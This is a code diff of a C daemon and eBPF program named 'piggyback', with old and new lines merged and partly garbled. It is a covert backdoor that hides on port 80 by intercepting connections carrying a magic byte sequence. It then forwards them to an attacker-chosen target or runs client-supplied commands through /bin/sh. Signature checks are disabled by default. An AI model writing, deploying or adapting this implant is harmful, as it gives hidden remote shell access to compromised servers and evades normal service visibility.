CLIENT_MODE == MODE_TLS ? SNI : "", cfg.key_path[0] ? " auth=ed25519" : "");
strlen(KEY_PATH) > 0 ? " auth=ed25519" : "",
strlen(KEY_PATH) > 0 && CLIENT_ACTION == ACTION_SHELL ? " shell" : "");
while (running) { while (running) {
struct sockaddr_in caddr; struct sockaddr_in caddr; socklen_t clen = sizeof(caddr);
socklen_t clen = sizeof(caddr);
int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen); int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen);
if (cfd < 0) { if (running) perror("accept"); continue; } if (cfd < 0) { if (running) perror("accept"); continue; }
struct conn_args *a = malloc(sizeof(*a)); struct conn_args *a = malloc(sizeof(*a));
if (!a) { close(cfd); continue; } if (!a) { close(cfd); continue; }
a->local_fd = cfd; a->local_fd = cfd;
pthread_t tid; pthread_t tid;
pthread_create(&tid, NULL, conn_thread, a); pthread_create(&tid, NULL, conn_thread, a);
pthread_detach(tid); pthread_detach(tid);

View File

@ -29,8 +29,7 @@
// ── Configuration ───────────────────────────────────────────────────────────── // ── Configuration ─────────────────────────────────────────────────────────────
#define PORTS { 80, 8080 } #define LISTEN_PORT 80 // must match LISTEN_PORT in piggyback.c
#define PORTS_N 2
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" #define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6 #define MAGIC_LEN 6
@ -110,13 +109,7 @@ static __always_inline void inc_stat(__u32 idx) {
// ── Helpers ─────────────────────────────────────────────────────────────────── // ── Helpers ───────────────────────────────────────────────────────────────────
static __always_inline int port_watched(__u16 port_be) { static __always_inline int port_watched(__u16 port_be) {
__u16 ports[] = PORTS; return bpf_ntohs(port_be) == LISTEN_PORT;
__u16 p = bpf_ntohs(port_be);
if (PORTS_N > 0 && p == ports[0]) return 1;
if (PORTS_N > 1 && p == ports[1]) return 1;
if (PORTS_N > 2 && p == ports[2]) return 1;
if (PORTS_N > 3 && p == ports[3]) return 1;
return 0;
} }
static __always_inline __u8 magic_at(__u8 idx) { static __always_inline __u8 magic_at(__u8 idx) {

View File

@ -1,9 +1,9 @@
// piggyback.c — userspace daemon // piggyback.c — userspace daemon
// //
// Loads TC eBPF + sk_lookup programs, registers daemon socket, // Loads TC eBPF + sk_lookup programs, accepts magic connections,
// polls ring buffer, verifies Ed25519 signatures, dispatches connections. // dispatches to forward target or shell — all specified by the client packet.
// Daemon has no forward-target config; it comes from the signed header.
// //
// All configuration is via compile-time constants below.
// Build: make Run: sudo ./piggyback // Build: make Run: sudo ./piggyback
#include <stdio.h> #include <stdio.h>
@ -17,6 +17,7 @@
#include <inttypes.h> #include <inttypes.h>
#include <arpa/inet.h> #include <arpa/inet.h>
#include <netdb.h> #include <netdb.h>
#include <ifaddrs.h>
#include <netinet/in.h> #include <netinet/in.h>
#include <sys/socket.h> #include <sys/socket.h>
#include <sys/epoll.h> #include <sys/epoll.h>
@ -30,16 +31,12 @@
// ── Engagement Configuration ────────────────────────────────────────────────── // ── Engagement Configuration ──────────────────────────────────────────────────
// Edit these before compiling. Run `make keygen` to generate a keypair. // Edit these before compiling. Run `make keygen` to generate a keypair.
#define IFACE "" // "" = auto-detect default-route interface; or set e.g. "eth0" #define IFACE "" // "" = auto-detect default-route interface; or e.g. "eth0"
#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c #define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
#define FWD_PORT 22 // default forward target port
#define SERVER_IP "0.0.0.0" // own IPv4, included in signed message for replay prevention
#define VERBOSE 0 // 1 = debug logging #define VERBOSE 0 // 1 = debug logging
// Ed25519 auth. // Ed25519 auth. AUTH_ENABLED=0: accept any magic packet (no sig check).
// Set AUTH_ENABLED=1 and paste the 32-byte pubkey hex from `make keygen`. // AUTH_ENABLED=1: require valid signed header. Run `make keygen`, set TRUSTED_PUBKEY.
// Leave AUTH_ENABLED=0 to accept any magic packet without signature check.
#define AUTH_ENABLED 0 #define AUTH_ENABLED 0
#define TRUSTED_PUBKEY { \ #define TRUSTED_PUBKEY { \
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
@ -48,12 +45,13 @@
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \
} }
// ── Shared constants (must match piggyback.bpf.c) ──────────────────────────── // ── Shared constants (must match piggyback.bpf.c and pb-client.c) ─────────────
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" #define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN 6 #define MAGIC_LEN 6
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature #define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
// Header field offsets
#define HDR_TIMESTAMP_OFF 0 #define HDR_TIMESTAMP_OFF 0
#define HDR_ACTION_OFF 8 #define HDR_ACTION_OFF 8
#define HDR_TARGET_IP_OFF 9 #define HDR_TARGET_IP_OFF 9
@ -83,7 +81,7 @@ struct event {
// ── Globals ─────────────────────────────────────────────────────────────────── // ── Globals ───────────────────────────────────────────────────────────────────
static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY; static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY;
static uint8_t server_ip_bytes[4]; // parsed from SERVER_IP at startup static uint8_t server_ip_bytes[4];
static volatile int running = 1; static volatile int running = 1;
static unsigned int ifindex = 0; static unsigned int ifindex = 0;
@ -91,7 +89,13 @@ static char iface_name[64];
static struct bpf_object *obj = NULL; static struct bpf_object *obj = NULL;
static int accept_fd = -1; static int accept_fd = -1;
// ── Interface auto-detection ────────────────────────────────────────────────── // ── Logging ───────────────────────────────────────────────────────────────────
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
// ── Interface helpers ─────────────────────────────────────────────────────────
static int get_default_iface(char *buf, size_t len) { static int get_default_iface(char *buf, size_t len) {
FILE *f = fopen("/proc/net/route", "r"); FILE *f = fopen("/proc/net/route", "r");
@ -99,8 +103,7 @@ static int get_default_iface(char *buf, size_t len) {
char line[256]; char line[256];
fgets(line, sizeof(line), f); // skip header fgets(line, sizeof(line), f); // skip header
while (fgets(line, sizeof(line), f)) { while (fgets(line, sizeof(line), f)) {
char iface[64]; char iface[64]; unsigned int dest;
unsigned int dest;
if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) { if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) {
strncpy(buf, iface, len-1); strncpy(buf, iface, len-1);
fclose(f); fclose(f);
@ -111,20 +114,23 @@ static int get_default_iface(char *buf, size_t len) {
return -1; return -1;
} }
// ── Logging ─────────────────────────────────────────────────────────────────── static int get_iface_ipv4(const char *iface, uint8_t *ip4) {
struct ifaddrs *ifa_list, *ifa;
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__) if (getifaddrs(&ifa_list) != 0) return -1;
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__) for (ifa = ifa_list; ifa; ifa = ifa->ifa_next) {
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0) if (!ifa->ifa_addr || ifa->ifa_addr->sa_family != AF_INET) continue;
if (strcmp(ifa->ifa_name, iface) != 0) continue;
memcpy(ip4, &((struct sockaddr_in *)ifa->ifa_addr)->sin_addr, 4);
freeifaddrs(ifa_list);
return 0;
}
freeifaddrs(ifa_list);
return -1;
}
// ── Replay ring ─────────────────────────────────────────────────────────────── // ── Replay ring ───────────────────────────────────────────────────────────────
struct replay_entry { struct replay_entry { uint32_t src_ip; uint64_t ts; uint8_t sig_prefix[8]; };
uint32_t src_ip;
uint64_t timestamp;
uint8_t sig_prefix[8];
};
static struct replay_entry replay_ring[REPLAY_RING_SIZE]; static struct replay_entry replay_ring[REPLAY_RING_SIZE];
static int replay_head = 0; static int replay_head = 0;
static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER; static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER;
@ -133,17 +139,13 @@ static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *
pthread_mutex_lock(&replay_lock); pthread_mutex_lock(&replay_lock);
for (int i = 0; i < REPLAY_RING_SIZE; i++) { for (int i = 0; i < REPLAY_RING_SIZE; i++) {
struct replay_entry *e = &replay_ring[i]; struct replay_entry *e = &replay_ring[i];
if (e->src_ip == src_ip && e->timestamp == ts && if (e->src_ip == src_ip && e->ts == ts && memcmp(e->sig_prefix, sig, 8) == 0) {
memcmp(e->sig_prefix, sig, 8) == 0) {
pthread_mutex_unlock(&replay_lock); pthread_mutex_unlock(&replay_lock);
return -1; return -1;
} }
} }
struct replay_entry *slot = &replay_ring[replay_head % REPLAY_RING_SIZE]; struct replay_entry *s = &replay_ring[replay_head++ % REPLAY_RING_SIZE];
slot->src_ip = src_ip; s->src_ip = src_ip; s->ts = ts; memcpy(s->sig_prefix, sig, 8);
slot->timestamp = ts;
memcpy(slot->sig_prefix, sig, 8);
replay_head++;
pthread_mutex_unlock(&replay_lock); pthread_mutex_unlock(&replay_lock);
return 0; return 0;
} }
@ -153,27 +155,19 @@ static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *
static void splice_loop(int a, int b) { static void splice_loop(int a, int b) {
int epfd = epoll_create1(0); int epfd = epoll_create1(0);
if (epfd < 0) return; if (epfd < 0) return;
struct epoll_event ev, evs[2]; struct epoll_event ev, evs[2];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP; ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev); ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev);
ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev); ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev);
char buf[65536]; char buf[65536];
while (running) { while (running) {
int n = epoll_wait(epfd, evs, 2, 1000); int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) { for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done; if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
int src = evs[i].data.fd; int src = evs[i].data.fd, dst = (src == a) ? b : a;
int dst = (src == a) ? b : a;
ssize_t r = read(src, buf, sizeof(buf)); ssize_t r = read(src, buf, sizeof(buf));
if (r <= 0) goto done; if (r <= 0) goto done;
ssize_t w = 0; for (ssize_t w = 0; w < r;) { ssize_t s = write(dst, buf+w, r-w); if (s<=0) goto done; w+=s; }
while (w < r) {
ssize_t s = write(dst, buf + w, r - w);
if (s <= 0) goto done;
w += s;
}
} }
} }
done: done:
@ -187,23 +181,16 @@ static void do_forward(int client_fd, const char *host, int port) {
struct addrinfo *res; struct addrinfo *res;
char port_str[8]; char port_str[8];
snprintf(port_str, sizeof(port_str), "%d", port); snprintf(port_str, sizeof(port_str), "%d", port);
if (getaddrinfo(host, port_str, &hints, &res) != 0) { if (getaddrinfo(host, port_str, &hints, &res) != 0) {
log_err("getaddrinfo(%s:%d) failed", host, port); log_err("getaddrinfo(%s:%d) failed", host, port); return;
return;
} }
int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0); int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0);
if (fwd_fd < 0) { freeaddrinfo(res); return; } if (fwd_fd < 0) { freeaddrinfo(res); return; }
if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) { if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) {
log_err("connect to %s:%d: %s", host, port, strerror(errno)); log_err("connect %s:%d: %s", host, port, strerror(errno));
close(fwd_fd); close(fwd_fd); freeaddrinfo(res); return;
freeaddrinfo(res);
return;
} }
freeaddrinfo(res); freeaddrinfo(res);
log_dbg("forwarding to %s:%d", host, port); log_dbg("forwarding to %s:%d", host, port);
splice_loop(client_fd, fwd_fd); splice_loop(client_fd, fwd_fd);
close(fwd_fd); close(fwd_fd);
@ -214,55 +201,38 @@ static void do_forward(int client_fd, const char *host, int port) {
static void do_shell(int client_fd, const char *cmd) { static void do_shell(int client_fd, const char *cmd) {
int in_pipe[2], out_pipe[2]; int in_pipe[2], out_pipe[2];
if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return; if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return;
pid_t pid = fork(); pid_t pid = fork();
if (pid < 0) return; if (pid < 0) return;
if (pid == 0) { if (pid == 0) {
close(in_pipe[1]); close(in_pipe[1]); close(out_pipe[0]);
close(out_pipe[0]); dup2(in_pipe[0], STDIN_FILENO); dup2(out_pipe[1], STDOUT_FILENO); dup2(out_pipe[1], STDERR_FILENO);
dup2(in_pipe[0], STDIN_FILENO); close(in_pipe[0]); close(out_pipe[1]);
dup2(out_pipe[1], STDOUT_FILENO);
dup2(out_pipe[1], STDERR_FILENO);
close(in_pipe[0]);
close(out_pipe[1]);
execl("/bin/sh", "/bin/sh", "-c", cmd, NULL); execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
_exit(1); _exit(1);
} }
close(in_pipe[0]); close(out_pipe[1]);
close(in_pipe[0]);
close(out_pipe[1]);
fcntl(in_pipe[1], F_SETFL, O_NONBLOCK); fcntl(in_pipe[1], F_SETFL, O_NONBLOCK);
fcntl(out_pipe[0], F_SETFL, O_NONBLOCK); fcntl(out_pipe[0], F_SETFL, O_NONBLOCK);
fcntl(client_fd, F_SETFL, O_NONBLOCK); fcntl(client_fd, F_SETFL, O_NONBLOCK);
int epfd = epoll_create1(0); int epfd = epoll_create1(0);
struct epoll_event ev, evs[2]; struct epoll_event ev, evs[2];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP; ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev); ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev);
ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev); ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev);
char buf[65536]; char buf[65536];
while (running) { while (running) {
int n = epoll_wait(epfd, evs, 2, 1000); int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) { for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto shell_done; if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
int fd = evs[i].data.fd; if (evs[i].data.fd == out_pipe[0]) {
if (fd == out_pipe[0]) { ssize_t r = read(out_pipe[0], buf, sizeof(buf)); if (r<=0) goto done; write(client_fd, buf, r);
ssize_t r = read(out_pipe[0], buf, sizeof(buf));
if (r <= 0) goto shell_done;
write(client_fd, buf, r);
} else { } else {
ssize_t r = read(client_fd, buf, sizeof(buf)); ssize_t r = read(client_fd, buf, sizeof(buf)); if (r<=0) goto done; write(in_pipe[1], buf, r);
if (r <= 0) goto shell_done;
write(in_pipe[1], buf, r);
} }
} }
} }
shell_done: done:
close(epfd); close(epfd); close(in_pipe[1]); close(out_pipe[0]);
close(in_pipe[1]);
close(out_pipe[0]);
} }
// ── Dispatch thread ─────────────────────────────────────────────────────────── // ── Dispatch thread ───────────────────────────────────────────────────────────
@ -276,99 +246,77 @@ struct dispatch_args {
static void *dispatch_thread(void *arg) { static void *dispatch_thread(void *arg) {
struct dispatch_args *a = arg; struct dispatch_args *a = arg;
int client_fd = a->client_fd; int client_fd = a->client_fd;
uint8_t action = ACTION_FORWARD;
char fwd_host[64];
int fwd_port;
strncpy(fwd_host, FWD_HOST, sizeof(fwd_host)-1);
fwd_port = FWD_PORT;
if (AUTH_ENABLED && a->header_valid) {
uint8_t *hdr = a->header; uint8_t *hdr = a->header;
if (!a->header_valid) {
log_err("packet too short for header, rejecting");
goto reject;
}
// ── Auth (skip when AUTH_ENABLED=0) ───────────────────────────────────────
if (AUTH_ENABLED) {
uint64_t ts = 0; uint64_t ts = 0;
for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i]; for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i];
uint64_t now = (uint64_t)time(NULL); uint64_t now = (uint64_t)time(NULL);
if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) { if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) {
log_err("timestamp out of window, rejecting"); log_err("timestamp out of window, rejecting"); goto reject;
goto reject;
} }
uint8_t msg[HDR_MSG_LEN]; uint8_t msg[HDR_MSG_LEN];
memcpy(msg, hdr, 16); memcpy(msg, hdr, 16); memcpy(msg + 16, server_ip_bytes, 4);
memcpy(msg + 16, server_ip_bytes, 4); if (crypto_sign_ed25519_verify_detached(hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
log_err("invalid signature, rejecting"); goto reject;
if (crypto_sign_ed25519_verify_detached( }
hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) { uint32_t ip32; memcpy(&ip32, server_ip_bytes, 4);
log_err("Ed25519 signature invalid, rejecting"); if (replay_check_and_insert(ip32, ts, hdr + HDR_SIG_OFF) != 0) {
goto reject; log_err("replay detected, rejecting"); goto reject;
}
log_dbg("auth OK");
} }
uint32_t src_ip32; // ── Dispatch — action and target always come from the header ──────────────
memcpy(&src_ip32, server_ip_bytes, 4); {
if (replay_check_and_insert(src_ip32, ts, hdr + HDR_SIG_OFF) != 0) { uint8_t action = hdr[HDR_ACTION_OFF];
log_err("replay detected, rejecting");
goto reject;
}
action = hdr[HDR_ACTION_OFF];
if (action == ACTION_FORWARD) { if (action == ACTION_FORWARD) {
char fwd_host[32] = "127.0.0.1";
int fwd_port = 22;
uint8_t *ip = hdr + HDR_TARGET_IP_OFF; uint8_t *ip = hdr + HDR_TARGET_IP_OFF;
snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d", if (ip[0] || ip[1] || ip[2] || ip[3])
ip[0], ip[1], ip[2], ip[3]); snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]);
fwd_port = (hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1]; int p = ((uint16_t)hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
} if (p) fwd_port = p;
log_dbg("auth OK: action=0x%02x", action);
} else if (AUTH_ENABLED && !a->header_valid) {
log_err("auth required but no valid header, rejecting");
goto reject;
}
if (action == ACTION_FORWARD) {
log_info("forward → %s:%d", fwd_host, fwd_port); log_info("forward → %s:%d", fwd_host, fwd_port);
do_forward(client_fd, fwd_host, fwd_port); do_forward(client_fd, fwd_host, fwd_port);
} else if (action == ACTION_SHELL) { } else if (action == ACTION_SHELL) {
char cmd[1024] = "bash"; char cmd[1024] = "bash";
ssize_t r = read(client_fd, cmd, sizeof(cmd)-1); ssize_t r = read(client_fd, cmd, sizeof(cmd)-1);
if (r > 0) cmd[r] = '\0'; if (r > 0) cmd[r] = '\0';
log_info("shell: %s", cmd); log_info("shell: %s", cmd);
do_shell(client_fd, cmd); do_shell(client_fd, cmd);
} else { } else {
log_err("unknown action 0x%02x, rejecting", action); log_err("unknown action 0x%02x, rejecting", action);
} }
}
close(client_fd); close(client_fd); free(a); return NULL;
free(a);
return NULL;
reject: reject:
close(client_fd); close(client_fd); free(a); return NULL;
free(a);
return NULL;
} }
// ── Ring buffer event handler ───────────────────────────────────────────────── // ── Ring buffer event handler ─────────────────────────────────────────────────
static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) { static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) {
struct event *e = data; struct event *e = data;
char src_str[INET6_ADDRSTRLEN]; char src_str[INET6_ADDRSTRLEN];
if (e->is_ipv6) if (e->is_ipv6) inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str)); else inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
else log_info("magic from %s:%d (header_valid=%d)", src_str, ntohs(e->src_port), e->header_valid);
inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
log_info("magic from %s:%d (flags=0x%02x header_valid=%d)", struct sockaddr_storage peer; socklen_t plen = sizeof(peer);
src_str, ntohs(e->src_port), e->flags, e->header_valid);
struct sockaddr_storage peer;
socklen_t plen = sizeof(peer);
int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen); int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen);
if (client_fd < 0) { if (client_fd < 0) { log_err("accept: %s", strerror(errno)); return 0; }
log_err("accept: %s", strerror(errno));
return 0;
}
struct dispatch_args *a = malloc(sizeof(*a)); struct dispatch_args *a = malloc(sizeof(*a));
if (!a) { close(client_fd); return 0; } if (!a) { close(client_fd); return 0; }
@ -382,47 +330,29 @@ static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz
return 0; return 0;
} }
// ── TC attachment ───────────────────────────────────────────────────────────── // ── TC / sk_lookup attachment ─────────────────────────────────────────────────
static int attach_tc(struct bpf_program *prog) { static int attach_tc(struct bpf_program *prog) {
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS);
.ifindex = ifindex, DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts, .handle = 1, .priority = 1, .prog_fd = bpf_program__fd(prog));
.attach_point = BPF_TC_INGRESS,
);
DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts,
.handle = 1,
.priority = 1,
.prog_fd = bpf_program__fd(prog),
);
bpf_tc_hook_create(&hook); bpf_tc_hook_create(&hook);
if (bpf_tc_attach(&hook, &opts) < 0) { if (bpf_tc_attach(&hook, &opts) < 0) { log_err("bpf_tc_attach: %s", strerror(errno)); return -1; }
log_err("bpf_tc_attach: %s", strerror(errno));
return -1;
}
log_info("TC attached to %s ingress", iface_name); log_info("TC attached to %s ingress", iface_name);
return 0; return 0;
} }
static void detach_tc(void) { static void detach_tc(void) {
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook, .ifindex = ifindex, .attach_point = BPF_TC_INGRESS);
.ifindex = ifindex,
.attach_point = BPF_TC_INGRESS,
);
bpf_tc_hook_destroy(&hook); bpf_tc_hook_destroy(&hook);
log_info("TC detached"); log_info("TC detached");
} }
// ── sk_lookup attachment ──────────────────────────────────────────────────────
static int sklookup_link_fd = -1;
static int attach_sklookup(struct bpf_program *prog) { static int attach_sklookup(struct bpf_program *prog) {
int netns_fd = open("/proc/self/ns/net", O_RDONLY); int netns_fd = open("/proc/self/ns/net", O_RDONLY);
if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; } if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; }
struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd); struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd);
close(netns_fd); close(netns_fd);
if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; } if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; }
sklookup_link_fd = bpf_link__fd(link);
log_info("sk_lookup attached to netns"); log_info("sk_lookup attached to netns");
return 0; return 0;
} }
@ -430,17 +360,15 @@ static int attach_sklookup(struct bpf_program *prog) {
// ── Stats ───────────────────────────────────────────────────────────────────── // ── Stats ─────────────────────────────────────────────────────────────────────
static void dump_stats(void) { static void dump_stats(void) {
int map_fd = bpf_object__find_map_fd_by_name(obj, "stats"); int fd = bpf_object__find_map_fd_by_name(obj, "stats");
if (map_fd < 0) return; if (fd < 0) return;
uint64_t v; uint32_t k; uint64_t v; uint32_t k;
k=0; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" total : %" PRIu64, v); k=0; bpf_map_lookup_elem(fd,&k,&v); log_info(" total : %" PRIu64, v);
k=1; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" magic : %" PRIu64, v); k=1; bpf_map_lookup_elem(fd,&k,&v); log_info(" magic : %" PRIu64, v);
k=2; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" passed : %" PRIu64, v); k=2; bpf_map_lookup_elem(fd,&k,&v); log_info(" passed : %" PRIu64, v);
k=3; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" partial : %" PRIu64, v); k=3; bpf_map_lookup_elem(fd,&k,&v); log_info(" partial : %" PRIu64, v);
} }
// ── Signal ────────────────────────────────────────────────────────────────────
static void on_signal(int sig __attribute__((unused))) { running = 0; } static void on_signal(int sig __attribute__((unused))) { running = 0; }
// ── Main ────────────────────────────────────────────────────────────────────── // ── Main ──────────────────────────────────────────────────────────────────────
@ -448,66 +376,56 @@ static void on_signal(int sig __attribute__((unused))) { running = 0; }
int main(void) { int main(void) {
if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; } if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; }
inet_pton(AF_INET, SERVER_IP, server_ip_bytes); signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN);
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
signal(SIGPIPE, SIG_IGN);
// Resolve interface
if (strlen(IFACE) > 0) { if (strlen(IFACE) > 0) {
strncpy(iface_name, IFACE, sizeof(iface_name)-1); strncpy(iface_name, IFACE, sizeof(iface_name)-1);
} else { } else {
if (get_default_iface(iface_name, sizeof(iface_name)) != 0) { if (get_default_iface(iface_name, sizeof(iface_name)) != 0) {
log_err("could not detect default interface — set IFACE in source"); log_err("cannot detect default interface — set IFACE in source"); return 1;
return 1;
} }
log_info("auto-detected interface: %s", iface_name); log_info("auto-detected interface: %s", iface_name);
} }
ifindex = if_nametoindex(iface_name); ifindex = if_nametoindex(iface_name);
if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; } if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; }
if (AUTH_ENABLED) // Get own IP for replay-prevention signature coverage
log_info("Ed25519 auth enabled"); if (get_iface_ipv4(iface_name, server_ip_bytes) != 0) {
else log_dbg("could not get interface IP — replay sig will use zeros");
log_info("WARNING: AUTH_ENABLED=0 — accepting without signature check"); } else {
char ipstr[INET_ADDRSTRLEN];
inet_ntop(AF_INET, server_ip_bytes, ipstr, sizeof(ipstr));
log_dbg("server IP for sig: %s", ipstr);
}
// ── SO_REUSEPORT accept socket ──────────────────────────────────────────── if (AUTH_ENABLED) log_info("Ed25519 auth enabled");
else log_info("WARNING: AUTH_ENABLED=0 — no signature verification");
// SO_REUSEPORT accept socket
accept_fd = socket(AF_INET6, SOCK_STREAM, 0); accept_fd = socket(AF_INET6, SOCK_STREAM, 0);
if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0); if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0);
if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; } if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; }
int yes = 1; int yes = 1;
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)); setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes)); setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes));
struct sockaddr_in6 laddr = { .sin6_family = AF_INET6, .sin6_port = htons(LISTEN_PORT), .sin6_addr = IN6ADDR_ANY_INIT };
struct sockaddr_in6 laddr = {
.sin6_family = AF_INET6,
.sin6_port = htons(LISTEN_PORT),
.sin6_addr = IN6ADDR_ANY_INIT,
};
if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
struct sockaddr_in la4 = { struct sockaddr_in la4 = { .sin_family = AF_INET, .sin_port = htons(LISTEN_PORT), .sin_addr.s_addr = INADDR_ANY };
.sin_family = AF_INET,
.sin_port = htons(LISTEN_PORT),
.sin_addr.s_addr = INADDR_ANY,
};
if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) { if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) {
log_err("bind port %d: %s", LISTEN_PORT, strerror(errno)); log_err("bind port %d: %s", LISTEN_PORT, strerror(errno)); return 1;
return 1;
} }
} }
if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; } if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; }
// ── Load eBPF ───────────────────────────────────────────────────────────── // Load eBPF
